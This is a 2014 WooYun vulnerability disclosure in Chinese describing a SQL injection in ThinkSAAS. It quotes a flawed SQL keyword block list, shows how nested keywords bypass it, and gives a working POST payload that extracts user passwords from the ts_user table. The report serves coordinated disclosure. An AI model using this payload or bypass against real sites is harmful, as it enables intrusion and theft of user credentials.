当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053361

漏洞标题:ThinkSAAS最新版绕过过滤继续注入

相关厂商:thinksaas.cn

漏洞作者: xfkxfk

提交时间:2014-03-11 13:34

修复时间:2014-06-09 13:35

公开时间:2014-06-09 13:35

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-11: 细节已通知厂商并且等待厂商处理中
2014-03-11: 厂商已经确认,细节仅向厂商公开
2014-03-14: 细节向第三方安全合作伙伴开放
2014-05-05: 细节向核心白帽子及相关领域专家公开
2014-05-15: 细节向普通白帽子公开
2014-05-25: 细节向实习白帽子公开
2014-06-09: 细节向公众公开

简要描述:

ThinkSAAS最新版绕过过滤继续注入。
无gpc限制,无需登录认证。

详细说明:

旧版本分析如下: WooYun: ThinkSAAS SQL注入#6
在新版本里进行了两处修复:
第一处修复,文件\app\tag\action\add.php:

case "do":

$objname = tsFilter($_POST['objname']);
$idname = tsFilter($_POST['idname']);
$objid = intval($_POST['objid']);
$tags = t($_POST['tags']);

$new['tag']->addTag($objname,$idname,$objid,$tags);

tsNotice('标签添加成功!');

break;


把之前的t函数换成了tsFilter函数。
第二处修复,文件\thinksaas\tsApp.php:

foreach ( $row as $key => $value ) {
$value = $this->escape ( $value );
//$vals [] = "`$key` = $value";
$vals [] = "{$key} = {$value}";


对$value变量进行了escape过滤
添加了新的构造sql语句的赋值语句
但是这种修补我们依然可以进行注入。
来看看tsFilter函数:

function tsFilter($value){
$value = trim($value);
//定义不允许提交的SQl命令和关键字
$words = array();
$words[] = "add ";
$words[] = "and ";
$words[] = "count ";
$words[] = "order ";
$words[] = "table ";
$words[] = "by ";
$words[] = "create ";
$words[] = "delete ";
$words[] = "drop ";
$words[] = "from ";
$words[] = "grant ";
$words[] = "insert ";
$words[] = "select ";
$words[] = "truncate ";
$words[] = "update ";
$words[] = "use ";
$words[] = "--";
$words[] = "#";
$words[] = "group_concat";
$words[] = "column_name";
$words[] = "information_schema.columns";
$words[] = "table_schema";
$words[] = "union ";
$words[] = "where ";
$words[] = "alert";
$value = strtolower($value);//转换为小写
foreach($words as $word){
if(strstr($value,$word)){
$value = str_replace($word,'',$value);
}
}

return $value;
}


这个很容易的就可以看出,诸如将“select”改为“selselect ect”,就可以绕过过滤。
所以最终可以注入出数据的exp为:
EXP:

链接:http://localhost/thinksaas/index.php?app=tag&ac=add&ts=do
post:objname=article=1, tagname=(selselect ect pwd frofrom m ts_user limit 0,1), count_group&idname=1&objid=1&tags=111111


1.png


2.png

漏洞证明:

见详细说明

修复方案:

严格过滤

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-11 13:51

厂商回复:

感谢提交,正在修复

最新状态:

暂无